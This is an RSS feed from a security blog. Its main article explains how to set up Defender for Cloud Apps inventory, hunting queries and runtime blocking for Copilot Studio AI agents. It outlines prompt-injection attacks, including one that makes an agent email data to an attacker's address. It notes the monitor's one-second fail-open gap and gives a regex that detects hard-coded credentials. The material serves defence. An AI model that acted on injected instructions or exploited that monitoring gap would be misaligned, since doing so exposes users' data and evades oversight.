<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Microsoft Defender for Cloud Apps - Modern Security</title><link>https://www.modernsecurity.nl/microsoft-defender-for-cloud-apps/</link><description>Practical articles on Microsoft Defender for Cloud Apps, including session control, app governance, Shadow IT detection, and threat response.</description><language>en-us</language><copyright>© 2026 Modern Security</copyright><generator>Hugo</generator><lastBuildDate>Sat, 04 Jul 2026 20:32:17 +0100</lastBuildDate><atom:link href="https://www.modernsecurity.nl/microsoft-defender-for-cloud-apps/index.xml" rel="self" type="application/rss+xml"/><image><url>https://www.modernsecurity.nl/img/logo-light_hu_98d13a0e48fc51de.png</url><title>Microsoft Defender for Cloud Apps - Modern Security</title><link>https://www.modernsecurity.nl/microsoft-defender-for-cloud-apps/</link></image><item><title>Microsoft Defender for Cloud Apps: AI agent monitoring and real-time protection</title><link>https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/</link><guid isPermaLink="true">https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/</guid><pubDate>Sat, 20 Dec 2025 19:19:00 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender for Cloud Apps</category><category>Microsoft Defender XDR</category><description>Learn how to set up Microsoft Defender for Cloud Apps AI agent monitoring. Covers inventory, advanced hunting, and real-time protection.</description><content:encoded><![CDATA[<p>Low-code platforms like <strong>Microsoft Copilot Studio</strong> make it easy for business users to build and deploy AI agents without going through IT or security. That’s useful, but it also means agents are getting created outside of any centralized review: with access to data, external systems, and tool calls that security teams often know nothing about.</p>
<p><strong>Microsoft Defender for Cloud Apps AI agent monitoring</strong> was introduced as a preview feature to address exactly this. With real-time protection landing this month, the full stack is now available. This guide covers how it works and how to set it up.</p>

<h2 class="relative group">Why Copilot Studio AI agents are a security risk
    <div id="why-copilot-studio-ai-agents-are-a-security-risk" class="anchor"></div>
    
</h2>
<p>Copilot Studio agents can call external APIs, process user input, and take actions, often with permissions that were set up quickly and never reviewed. Attackers can abuse this in a few ways:</p>
<ul>
<li>Injecting malicious prompts to manipulate what the agent does</li>
<li>Triggering tool calls the agent wasn’t designed to make</li>
<li>Exploiting connected data sources to escalate privileges or exfiltrate data</li>
</ul>
<p>The people building these agents are usually not security-aware, and there’s no enforcement gate before an agent goes live. Microsoft Defender for Cloud Apps AI agent monitoring is designed to fill that gap.</p>

<h2 class="relative group">What Microsoft Defender for Cloud Apps AI agent monitoring does
    <div id="what-microsoft-defender-for-cloud-apps-ai-agent-monitoring-does" class="anchor"></div>
    
</h2>
<p><a href="https://www.modernsecurity.nl/microsoft-defender-for-cloud-apps/" >Defender for Cloud Apps</a> covers three things here:</p>
<p><strong>AI agent inventory</strong></p>
<p>Defender automatically discovers all Copilot Studio agents in your tenant and surfaces them in a central view. You can see what agents exist, who owns them, and what their security posture looks like, without requiring agent builders to do anything.</p>
<p><strong>Audit logging and threat detection</strong></p>
<p>Once the inventory is enabled and the Microsoft 365 connector is active, Defender collects audit logs for all Copilot Studio agents and monitors them for suspicious activity. Detections come through as alerts in the XDR incidents and alerts experience.</p>
<p><strong>Real-time protection during runtime</strong></p>
<p>This is what landed in December 2025. Defender inspects tool invocations <em>before</em> the agent executes them. If a prompt looks suspicious, the tool call is blocked, the user gets a notification, and an alert is created in the Defender portal. Active blocking, not detection after the fact.</p>
<p><em>One important caveat: if Defender doesn’t respond to a tool invocation check within <strong>one second</strong>, the agent proceeds and the tool call is allowed. This fail-open behavior is worth understanding if you’re relying on real-time protection as a hard control.</em></p>

<h2 class="relative group">Prerequisites
    <div id="prerequisites" class="anchor"></div>
    
</h2>
<p><strong>Before enabling Defender for Cloud Apps AI agent monitoring, make sure you have:</strong></p>
<ul>
<li><strong>Microsoft Defender for Cloud Apps</strong> license until the 1st of july 2026 (included in Microsoft 365 E5) &gt; <strong>Note this has been changed and you need the Agent 365 / E7 license to use this feature</strong></li>
<li><strong>Microsoft Defender preview features</strong> enabled for Defender for Cloud Apps, Defender for Cloud, and Microsoft Defender XDR</li>
<li><strong>Microsoft 365 app connector</strong> connected in Defender for Cloud Apps</li>
<li>Access to your <strong>Power Platform administrator</strong> onboarding spans both the Defender portal and the Power Platform admin center</li>
</ul>

<h2 class="relative group">Step 1: Enable the AI agent inventory
    <div id="step-1-enable-the-ai-agent-inventory" class="anchor"></div>
    
</h2>
<p>This is the foundation. Without it, monitoring and real-time protection won’t work.</p>
<ol>
<li>Sign in to the <strong>Microsoft Defender portal</strong> as a system administrator</li>
<li>Go to <strong>System &gt; Settings &gt; Cloud Apps &gt; Copilot Studio AI agents</strong></li>
<li>Toggle <strong>Copilot Studio AI agents</strong> on. This confirms you’ve accepted the terms</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="AI agent monitoring"
    width="1896"
    height="990"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-4_hu_513109bd2acc39b8.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-4.webp"></figure><figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Turn on Copilot Studio AI agents dialog in the Defender for Cloud Apps settings"
    width="1895"
    height="989"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-1_hu_aa7554e2464cd959.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-1.webp"></figure><figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Copilot Studio AI agents enabled with partial connectivity in the Defender portal"
    width="1897"
    height="985"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-2_hu_f0a28d9375415a75.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-2.webp"></figure><p>Your <strong>Power Platform administrator</strong> then needs to complete the other side:</p>
<ol>
<li>Go to the <a href="https://admin.preview.powerplatform.microsoft.com/security/threatdetection"  target="_blank" rel="noreferrer">Power Platform admin center</a></li>
<li>Navigate to <strong>Security &gt; Threat Protection</strong></li>
<li>Select <strong>Microsoft Defender – Copilot Studio AI agents</strong></li>
<li>Enable it</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Microsoft Defender for Copilot Studio agents enabled in the Power Platform admin center"
    width="1895"
    height="987"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-3_hu_7ecf5b9173a75a13.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-3.webp"></figure><p>When connected, a green status indicator appears in the AI agents inventory section in the Defender portal. Allow up to <strong>30 minutes</strong> for the initial connection, and potentially longer for the full inventory to populate in larger environments.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Copilot Studio AI agents with the Microsoft 365 app connector and AI agents inventory connected"
    width="1897"
    height="987"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image_hu_cb138ad18e2e0042.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image.webp"></figure>
<h2 class="relative group">Step 2: Enable real-time protection during runtime
    <div id="step-2-enable-real-time-protection-during-runtime" class="anchor"></div>
    
</h2>
<p>This step involves three parties: you as the security admin, a Power Platform administrator, and an Entra admin (or someone with app registration permissions). The order matters.</p>

<h3 class="relative group">Get the webhook URL from the Defender portal
    <div id="get-the-webhook-url-from-the-defender-portal" class="anchor"></div>
    
</h3>
<ol>
<li>In the Defender portal, go to <strong>System &gt; Settings &gt; Cloud Apps &gt; Copilot Studio AI agents</strong></li>
<li>Check the <strong>Microsoft 365 app connector</strong> status: if it’s not connected, enable it first. Without it, real-time blocking still works, but alerts won’t appear in the Defender portal</li>
<li>Copy the <strong>webhook URL</strong> (endpoint) shown in the real-time protection section. You’ll need this for the Entra app registration</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Copilot Studio real-time protection settings with the Power Platform integration URL"
    width="1896"
    height="987"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-1-2_hu_993419c359462a29.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-1-2.webp"></figure>
<h3 class="relative group">Register a Microsoft Entra application
    <div id="register-a-microsoft-entra-application" class="anchor"></div>
    
</h3>
<p>This step creates the secure, secretless authentication bridge between Copilot Studio and Defender. You need someone with app registration permissions in Entra.</p>
<p><strong>Option A: PowerShell (recommended):</strong></p>
<p>Download the <a href="https://www.powershellgallery.com/packages/Create-CopilotWebhookApp/1.0.1"  target="_blank" rel="noreferrer">Create-CopilotWebhookApp.ps1</a> script and run it with the following parameters:</p>
<div class="highlight-wrapper"><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">.\Create-CopilotWebhookApp.ps1 `
</span></span><span class="line"><span class="cl">  -TenantId &#34;your-tenant-id&#34; `
</span></span><span class="line"><span class="cl">  -Endpoint &#34;https://endpoint-from-defender-portal&#34; `
</span></span><span class="line"><span class="cl">  -DisplayName &#34;Copilot Studio - Defender Real-time Protection&#34; `
</span></span><span class="line"><span class="cl">  -FICName &#34;DefenderFIC&#34;</span></span></code></pre></div></div>
<p>The script outputs an <strong>App ID</strong>: copy it, you’ll need it in the next steps.</p>
<p><strong>Option B: manually via Azure portal:</strong></p>
<ol>
<li>Go to <strong>Azure portal &gt; Microsoft Entra ID &gt; App registrations &gt; New registration</strong></li>
<li>Give it a name, select <strong>Accounts in this organizational directory only</strong>, and register</li>
<li>Copy the <strong>App ID</strong></li>
<li>Go to <strong>Certificates &amp; secrets &gt; Federated credentials &gt; Add credential</strong></li>
<li>Select <strong>Other issuer</strong> as the scenario</li>
<li>Set the <strong>issuer</strong> to: <code>https://login.microsoftonline.com/{your-tenant-id}/v2.0</code></li>
<li>Set the <strong>subject</strong> using the following PowerShell to generate the base64-encoded values:</li>
</ol>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="c"># Encode tenant ID</span>
</span></span><span class="line"><span class="cl"><span class="nv">$tenantId</span> <span class="p">=</span> <span class="p">[</span><span class="no">Guid</span><span class="p">]::</span><span class="n">Parse</span><span class="p">(</span><span class="s2">&#34;your-tenant-id&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nv">$b64TenantId</span> <span class="p">=</span> <span class="p">[</span><span class="no">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">(</span><span class="nv">$tenantId</span><span class="p">.</span><span class="py">ToByteArray</span><span class="p">()).</span><span class="py">Replace</span><span class="p">(</span><span class="s1">&#39;+&#39;</span><span class="p">,</span><span class="s1">&#39;-&#39;</span><span class="p">).</span><span class="py">Replace</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">,</span><span class="s1">&#39;_&#39;</span><span class="p">).</span><span class="py">TrimEnd</span><span class="p">(</span><span class="s1">&#39;=&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c"># Encode endpoint URL</span>
</span></span><span class="line"><span class="cl"><span class="nv">$endpoint</span> <span class="p">=</span> <span class="s2">&#34;https://endpoint-from-defender-portal&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nv">$b64Endpoint</span> <span class="p">=</span> <span class="p">[</span><span class="no">Convert</span><span class="p">]::</span><span class="n">ToBase64String</span><span class="p">([</span><span class="no">Text.Encoding</span><span class="p">]::</span><span class="n">UTF8</span><span class="p">.</span><span class="py">GetBytes</span><span class="p">(</span><span class="nv">$endpoint</span><span class="p">)).</span><span class="py">Replace</span><span class="p">(</span><span class="s1">&#39;+&#39;</span><span class="p">,</span><span class="s1">&#39;-&#39;</span><span class="p">).</span><span class="py">Replace</span><span class="p">(</span><span class="s1">&#39;/&#39;</span><span class="p">,</span><span class="s1">&#39;_&#39;</span><span class="p">).</span><span class="py">TrimEnd</span><span class="p">(</span><span class="s1">&#39;=&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">Write-Output</span> <span class="s2">&#34;/eid1/c/pub/t/</span><span class="nv">$b64TenantId</span><span class="s2">/a/m1WPnYRZpEaQKq1Cceg--g/</span><span class="nv">$b64Endpoint</span><span class="s2">&#34;</span></span></span></code></pre></div></div>
<p>Paste the output as the <strong>subject value</strong> and save the credential.</p>

<h3 class="relative group">Configure threat detection in the Power Platform admin center
    <div id="configure-threat-detection-in-the-power-platform-admin-center" class="anchor"></div>
    
</h3>
<p>Share the <strong>App ID</strong> and the <strong>webhook URL</strong> from the Defender portal with your Power Platform administrator. They need to complete the following:</p>
<ol>
<li>Sign in to the <a href="https://aka.ms/ppac"  target="_blank" rel="noreferrer">Power Platform admin center</a></li>
<li>Go to <strong>Security &gt; Threat detection &gt; Additional threat detection</strong></li>
<li>Select the environment and click <strong>Set up</strong></li>
<li>Enable <strong>Allow Copilot Studio to share data with a threat detection provider</strong></li>
<li>Enter the <strong>Azure Entra App ID</strong> and the <strong>endpoint link</strong> from the Defender portal</li>
<li>Under <strong>Set error behavior</strong>, choose what happens if the threat detection system doesn’t respond in time: the default is <strong>Allow the agent to respond</strong>, but you can set it to <strong>Block the query</strong> for a stricter posture</li>
<li>Click <strong>Save</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Additional threat detection and protection for Copilot Studio agents with the Entra app ID and endpoint link"
    width="1896"
    height="986"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-2-2_hu_4ea47ea409fca8d2.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-2-2.webp"></figure>
<h3 class="relative group">Register the App ID in the Defender portal
    <div id="register-the-app-id-in-the-defender-portal" class="anchor"></div>
    
</h3>
<ol>
<li>Back in the Defender portal, go to <strong>System &gt; Settings &gt; Cloud Apps &gt; Copilot Studio AI agents</strong></li>
<li>Enter the <strong>App ID</strong> in the designated field and click <strong>Save</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="App ID entered in the Copilot Studio real-time protection settings in the Defender portal"
    width="1895"
    height="988"
    src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-3-2_hu_a2789dcf39241790.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/image-3-2.webp"></figure><p>When everything is connected correctly, the real-time protection section shows a green connected status.</p>
<blockquote><p>If you update the App ID in Power Platform, wait about a minute before saving in the Defender portal: propagation takes a moment and you’ll get a validation error if you’re too fast.</p>
</blockquote><p><strong>Important:</strong> Real-time protection currently only applies to agents using <strong>generative orchestration</strong>. Classic agents that use fixed, deterministic flows are not covered.</p>

<h2 class="relative group">Hunt for risky agents with advanced hunting
    <div id="hunt-for-risky-agents-with-advanced-hunting" class="anchor"></div>
    
</h2>
<p>Once the AI agent inventory is live, you can use <strong>advanced hunting</strong> to look for misconfigurations and risky Copilot Studio agents.</p>
<p>The <strong><code>AIAgentsInfo</code></strong> table in the <strong>Apps &amp; identities</strong> section contains data for all discovered agents. You can write custom queries or use the pre-built community queries:</p>
<ol>
<li>Go to <strong>Investigation &amp; response &gt; Hunting &gt; Advanced hunting</strong></li>
<li>In the <strong>Queries</strong> tab, open <strong>Community queries</strong></li>
<li>The <strong>AI agents</strong> folder contains ready-made queries for common risk scenarios</li>
</ol>
<p>The misconfigurations below are all detectable via this table and are worth running as a first sweep after the inventory comes online.</p>

<h2 class="relative group">What happens when a threat is detected
    <div id="what-happens-when-a-threat-is-detected" class="anchor"></div>
    
</h2>
<p>When Defender for Cloud Apps flags a suspicious Copilot Studio agent prompt or tool invocation:</p>
<ul>
<li>The tool call is blocked before it runs</li>
<li>The end user gets a notification that their message was blocked</li>
<li>An alert is created in the Defender portal under XDR incidents and alerts</li>
<li>The alert is correlated with other XDR signals, so your SOC gets full incident context</li>
</ul>
<p>With the Microsoft 365 connector active, these alerts also land in the unified incident queue alongside endpoint, identity, and cloud alerts.</p>

<h2 class="relative group">Common Copilot Studio agent misconfigurations
    <div id="common-copilot-studio-agent-misconfigurations" class="anchor"></div>
    
</h2>
<p>Getting the monitoring in place is step one. What you’ll actually find in the inventory is often more concerning than expected. These are the most common misconfigurations to look for once you have the <code>AIAgentsInfo</code> table available.</p>
<p><strong>Agents without authentication</strong></p>
<p>When no authentication is configured on a Copilot Studio agent, it doesn’t authenticate as the user interacting with it. It authenticates as the creator. That means any user of that agent can effectively access resources and data as the maker, including things they wouldn’t normally have access to. Agents intended for internal use should always require authentication. Use this query to find them:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AIAgentsInfo
<span class="o">|</span> <span class="k">summarize</span> <span class="nf">arg_max</span>(Timestamp, *) <span class="k">by</span> AIAgentId
<span class="o">|</span> <span class="k">where</span> AgentStatus <span class="o">!=</span> <span class="s">&#34;Deleted&#34;</span>
<span class="o">|</span> <span class="k">where</span> UserAuthenticationType <span class="o">==</span> <span class="s">&#34;None&#34;</span>
<span class="o">|</span> <span class="k">project-reorder</span> AgentCreationTime, AIAgentId, AIAgentName, AgentStatus, CreatorAccountUpn, OwnerAccountUpns</code></pre></div>
</div>
<p>Microsoft’s recommendation: confirm with the owner whether public access is intentional, and review all topics, actions, and knowledge sources to ensure no sensitive data is exposed.</p>
<p><strong>Agents without an owner</strong></p>
<p>Every published agent should have a designated owner: someone accountable for what it does and what it has access to. Agents without an owner are a governance gap: if something goes wrong, there’s no one to contact and no one managing its lifecycle. Find them with:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AIAgentsInfo
<span class="o">|</span> <span class="k">where</span> AgentStatus <span class="o">==</span> <span class="s">&#34;Published&#34;</span>
<span class="o">|</span> <span class="k">where</span> <span class="k">isempty</span>(OwnerAccountUpns)
<span class="o">|</span> <span class="k">project</span> AgentCreationTime, AIAgentName, AIAgentId, CreatorAccountUpn, OwnerAccountUpns</code></pre></div>
</div>
<p><strong>Hard-coded credentials in topics or actions</strong></p>
<p>Agents with credentials hard-coded into their topics or actions can expose those credentials to unintended parties: anyone who can read the agent configuration or intercept its traffic. This is a pattern that’s easy to introduce quickly and hard to spot manually at scale. The query below scans for common credential patterns including API keys, tokens, and basic auth strings:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql"><span class="k">let</span> suspicious_patterns = <span class="s">@&#34;(AKIA[0-9A-Z]{16})|(AIza[0-9A-Za-z_\-]{35})|(xox[baprs]-[0-9a-zA-Z]{10,48})|(ghp_[A-Za-z0-9]{36,59})|(sk_(live|test)_[A-Za-z0-9]{24})|(SG\.[A-Za-z0-9]{22}\.[A-Za-z0-9]{43})|(\d{8}:[\w\-]{35})|(eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+)|(Authorization\s*:\s*Basic\s+[A-Za-z0-9=:+]+)|([A-Za-z]+:\/\/[^\/\s]+:[^\/\s]+@[^\/\s]+)&#34;</span>;
AIAgentsInfo
<span class="o">|</span> <span class="k">summarize</span> <span class="nf">arg_max</span>(Timestamp, *) <span class="k">by</span> AIAgentId
<span class="o">|</span> <span class="k">where</span> AgentStatus <span class="o">!=</span> <span class="s">&#34;Deleted&#34;</span>
<span class="o">|</span> <span class="k">mv-expand</span> tool = AgentToolsDetails
<span class="o">|</span> <span class="k">mv-expand</span> topic = AgentTopicsDetails
<span class="o">|</span> <span class="k">where</span> <span class="k">isnotempty</span>(tool) <span class="k">and</span> <span class="k">isnotempty</span>(topic)
<span class="o">|</span> <span class="k">where</span> tool <span class="k">matches regex</span> suspicious_patterns <span class="k">or</span> topic <span class="k">matches regex</span> suspicious_patterns
<span class="o">|</span> <span class="k">extend</span> SuspiciousMatchTool = tool, SuspiciousMatchTopic = topic
<span class="o">|</span> <span class="k">project-reorder</span> AgentCreationTime, AIAgentId, AIAgentName, AgentStatus, CreatorAccountUpn, OwnerAccountUpns, SuspiciousMatchTool, SuspiciousMatchTopic</code></pre></div>
</div>
<p>If credentials are needed, the right approach is to store them in <strong>Azure Key Vault</strong> and retrieve them at runtime via environment variables, not embed them in the agent configuration.</p>
<p><strong>Email actions with AI-controlled recipients</strong></p>
<p>This one is particularly relevant for agents using generative orchestration. If an agent can send email and the recipient address is determined dynamically by the LLM rather than hard-coded, a successful prompt injection attack (XPIA) can instruct the agent to forward data to an attacker-controlled address. This query finds agents in that configuration:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AIAgentsInfo
<span class="o">|</span> <span class="k">summarize</span> <span class="nf">arg_max</span>(Timestamp, *) <span class="k">by</span> AIAgentId
<span class="o">|</span> <span class="k">where</span> AgentStatus <span class="o">!=</span> <span class="s">&#34;Deleted&#34;</span>
<span class="o">|</span> <span class="k">extend</span> IsGenAIOrchestrator = <span class="nf">tostring</span>(<span class="nf">todynamic</span>(RawAgentInfo).Bot.Attributes.configuration) <span class="k">has</span> <span class="s">&#39;&#34;GenerativeActionsEnabled&#34;: true&#39;</span>
<span class="o">|</span> <span class="k">where</span> IsGenAIOrchestrator
<span class="o">|</span> mvexpand Action = AgentToolsDetails
<span class="o">|</span> <span class="k">extend</span> OperationId = <span class="nf">tostring</span>(Action.action.operationId), ActionName = <span class="nf">tostring</span>(Action.modelDisplayName)
<span class="o">|</span> <span class="k">where</span> OperationId <span class="o">==</span> <span class="s">&#34;SendEmailV2&#34;</span>
<span class="o">|</span> <span class="k">where</span> <span class="k">isempty</span>(Action.inputs)
<span class="o">|</span> <span class="k">project-reorder</span> AgentCreationTime, AIAgentId, AIAgentName, AgentStatus, CreatorAccountUpn, OwnerAccountUpns, ActionName</code></pre></div>
</div>
<p>If a hard-coded recipient isn’t feasible, at minimum confirm with the owner that the use case warrants AI-controlled addressing and document it.</p>
<p><strong>Agents using MCP tools</strong></p>
<p>Model Context Protocol (MCP) tools give agents access to external resources and APIs. That’s powerful, but each MCP server is an additional attack surface, and agents connecting to MCP servers that are no longer needed, or that were added without security review, represent unnecessary exposure. Use this to get an overview:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AIAgentsInfo
<span class="o">|</span> <span class="k">summarize</span> <span class="nf">arg_max</span>(Timestamp, *) <span class="k">by</span> AIAgentId
<span class="o">|</span> <span class="k">where</span> AgentStatus <span class="o">!=</span> <span class="s">&#34;Deleted&#34;</span>
<span class="o">|</span> mvexpand Action = AgentToolsDetails
<span class="o">|</span> <span class="k">where</span> Action.action.operationDetails[<span class="s">&#34;$kind&#34;</span>] <span class="o">==</span> <span class="s">&#34;ModelContextProtocolMetadata&#34;</span>
<span class="o">|</span> <span class="k">extend</span> MCPName = Action.action.operationDetails[<span class="s">&#34;operationId&#34;</span>]
<span class="o">|</span> <span class="k">summarize</span> MCPTools = <span class="nf">make_set</span>(MCPName) <span class="k">by</span> AIAgentName, AIAgentId, EnvironmentId, CreatorAccountUpn</code></pre></div>
</div>
<p>Follow up with the agent owner on each MCP tool and remove any that are no longer required.</p>
<p><strong>HTTP actions on nonstandard ports</strong></p>
<p>Agents making HTTP requests to ports other than 80 or 443 are worth investigating. It could indicate the agent is calling internal services, non-standard APIs, or infrastructure that shouldn’t be accessible via an agent. Find them with:</p>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql">AIAgentsInfo
<span class="o">|</span> <span class="k">summarize</span> <span class="nf">arg_max</span>(Timestamp, *) <span class="k">by</span> AIAgentId
<span class="o">|</span> <span class="k">where</span> AgentStatus <span class="o">!=</span> <span class="s">&#34;Deleted&#34;</span>
<span class="o">|</span> mvexpand Topic = AgentTopicsDetails
<span class="o">|</span> <span class="k">where</span> Topic <span class="k">has</span> <span class="s">&#34;HttpRequestAction&#34;</span>
<span class="o">|</span> <span class="k">extend</span> TopicActions = Topic.beginDialog.actions
<span class="o">|</span> mvexpand action = TopicActions
<span class="o">|</span> <span class="k">where</span> action[<span class="s">&#39;$kind&#39;</span>] <span class="o">==</span> <span class="s">&#34;HttpRequestAction&#34;</span>
<span class="o">|</span> <span class="k">extend</span> Url = <span class="nf">tostring</span>(action.url.literalValue)
<span class="o">|</span> <span class="k">extend</span> ParsedUrl = <span class="nf">parse_url</span>(Url)
<span class="o">|</span> <span class="k">extend</span> Port = <span class="nf">tostring</span>(ParsedUrl[<span class="s">&#34;Port&#34;</span>])
<span class="o">|</span> <span class="k">where</span> <span class="k">isnotempty</span>(Port) <span class="k">and</span> Port <span class="o">!=</span> 443
<span class="o">|</span> <span class="k">project-reorder</span> AgentCreationTime, AIAgentId, AIAgentName, ParsedUrl, Url, Port, AgentStatus, CreatorAccountUpn, OwnerAccountUpns</code></pre></div>
</div>

<h2 class="relative group">Resources:
    <div id="resources" class="anchor"></div>
    
</h2>
<p><a href="https://learn.microsoft.com/en-us/defender-xdr/ai-agent-inventory"  target="_blank" rel="noreferrer">Protect AI agents in Microsoft Defender XDR – Microsoft Learn</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/ai-agent-protection"  target="_blank" rel="noreferrer">Protect your Copilot Studio AI agents (Preview) – Microsoft Learn</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/ai-agent-inventory"  target="_blank" rel="noreferrer">Discover and protect your AI agents (Preview) – Microsoft Learn</a></p>
<p><a href="https://learn.microsoft.com/en-us/defender-cloud-apps/real-time-agent-protection-during-runtime"  target="_blank" rel="noreferrer">Real-time protection during agent runtime (Preview) – Microsoft Learn</a></p>

<h2 class="relative group">Wrapping up
    <div id="wrapping-up" class="anchor"></div>
    
</h2>
<p>If your organization is building agents in Copilot Studio, or you expect business users to start, Microsoft Defender for Cloud Apps AI agent monitoring is worth setting up before you’re flying blind. The inventory alone gives you visibility into what’s running. Real-time protection goes further by actively blocking suspicious activity at the moment it happens.</p>
<p>Loop in your Power Platform admin, enable the preview features, and get the inventory running. It’s a quick setup for a threat surface that most security teams aren’t watching yet.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/featured_hu_5c9c5c12fa2213cf.jpg" medium="image" type="image/jpeg" width="1200" height="677"/><enclosure url="https://www.modernsecurity.nl/defender-for-cloud-apps-ai-agent-monitoring/featured_hu_5c9c5c12fa2213cf.jpg" type="image/jpeg" length="63307"/></item><item><title>Proactively Block Cloud Apps (like AI) with Microsoft Defender for Cloud Apps and Defender for Endpoint</title><link>https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/</link><guid isPermaLink="true">https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/</guid><pubDate>Fri, 24 Oct 2025 21:30:20 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender for Cloud Apps</category><category>Microsoft Defender XDR</category><description>Learn how to block shadow IT and risky cloud applications (like AI apps) using Microsoft Defender for Cloud Apps with Defender for Endpoint.</description><content:encoded><![CDATA[<p>Shadow IT remains one of the biggest challenges for security teams. Users access cloud applications daily without IT awarenes, shady AI tooling, file sharing services, or apps that don’t meet compliance requirements like SOC 2 or ISO 27001.</p>
<p>With the integration between <a href="https://www.modernsecurity.nl/microsoft-defender-for-cloud-apps/" >Microsoft Defender for Cloud Apps</a> and <a href="https://www.modernsecurity.nl/microsoft-defender-for-endpoint/" >Microsoft Defender for Endpoint</a>, you can proactively block apps on your endpoints before users even access them. This goes beyond monitoring: you can automatically block apps based on their risk score, category (like Generative AI), or specific compliance and security attributes.</p>
<p>In this guide, I’ll walk you through the complete setup, prerequisites, and how to create policies that automatically block risky or unwanted apps.</p>

<h2 class="relative group">How it works
    <div id="how-it-works" class="anchor"></div>
    
</h2>
<p>When you mark an app as <strong>Unsanctioned</strong> in Defender for Cloud Apps, the domains associated with that app are automatically synced to Defender for Endpoint as custom URL indicators. From there, Network Protection blocks access at the endpoint level, this happens on all onboarded devices running Microsoft Defender Antivirus with Network Protection enabled.</p>
<p>The integration works like this:</p>
<ol>
<li>You mark an app as Unsanctioned in Defender for Cloud Apps (manually or via policy)</li>
<li>The domains used by that app sync to Defender for Endpoint (up to 1 hour)</li>
<li>Defender for Endpoint creates custom URL indicators for those domains</li>
<li>The indicators propagate to your endpoint devices (up to 2 hours)</li>
<li>Network Protection blocks access when users try to reach those domains</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
